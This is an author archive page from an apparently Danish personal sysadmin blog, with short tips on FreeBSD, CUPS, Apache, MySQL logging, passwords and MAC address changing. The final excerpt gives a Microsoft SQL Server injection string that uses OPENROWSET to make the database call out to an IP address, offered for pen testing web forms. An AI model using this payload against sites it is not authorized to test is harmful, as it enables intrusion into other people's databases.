Forfatterarkiv: mike

Compact Flash med Asus 6in1 paa FreeBSD

client01# mount -t msdos /dev/da0s1 /mnt client01# ls /mnt imhkada9

Udgivet i FreeBSD, Knowledge Base, Old Base | Skriv en kommentar

huh

am instalat vmware-le, dar cand dau power off la masina imi da urmatorul mesaj: Cannot attach shared memory segment: Invalid argument. Failed to initialize SVGA device. Am citit in /usr/ports/emulators/vmware3/pkg-message, iar acolo zice sa trec “kern.ipc.shm_allow_removed” pe 1, dar nu … Læs resten

Udgivet i FreeBSD, Humor | Skriv en kommentar

Multiple X Sessions

Stats session on X-Terminal 1 startx — :1

Udgivet i FreeBSD, Knowledge Base, Linux, Old Base | Skriv en kommentar

/proc in freebsd

in fstab: proc /proc procfs rw 0 0 mount /proc

Udgivet i FreeBSD, Knowledge Base, Old Base | Skriv en kommentar

CUPS In freebsd

install port /usr/ports/print/cups You gotta replace the old lpr with cups’s lpr for all stuff to work. demo1# rm /usr/bin/lpr demo1# cp /usr/local/bin/lpr /usr/bin/lpr

Udgivet i Uncategorized | Skriv en kommentar

Apache logfiles in MySQL

The database: Database changed mysql> describe weblog; +————-+————–+——+—–+———+—————-+ | Field | Type | Null | Key | Default | Extra | +————-+————–+——+—–+———+—————-+ | ID | int(11) | | PRI | NULL | auto_increment | | remotehost | varchar(255) | | … Læs resten

Udgivet i Knowledge Base, Old Base, SQL | Skriv en kommentar

Enabling directory indexes in Apache (2)

The default setting should be something like: <Directory /> Options FollowSymLinks AllowOverride All </Directory> Just add indexes: <Directory /> Options FollowSymLinks indexes AllowOverride All </Directory>

Udgivet i Apache, FreeBSD, Knowledge Base, Lamp, Linux, Old Base | Skriv en kommentar

Strong passwords

1. Pick a sentence that has meaning for you and that you will remember. i.e. I work at cox today. 2. All consonants (or all vowels) become UPPERCASE characters. 3. All vowels (or all consonants as it is the opposite … Læs resten

Udgivet i Knowledge Base, Old Base, Security | Skriv en kommentar

Change MAC Adress on Windows 2000

Check out this new tool for changing MAC addresses on Windows 2000 & XP, for almost all Network Adapters out there! It doesn’t change the hardware MAC address, just the MAC address that got interpreted by the network adapter drivers … Læs resten

Udgivet i Knowledge Base, Networking, Windows, Workstation | Skriv en kommentar

Pen test, SQL Injection

Here’s the string you can drop in web form inputs to see if they’re vulnerable to SQL injection (on Microsoft SQL server anyway): ‘; select * from OPENROWSET(‘SQLOLEDB’,’192.168.0.1′;;,’select @@version’)– To verify results, replace the IP address w/ that of the … Læs resten

Udgivet i Knowledge Base, Old Base, SQL | Skriv en kommentar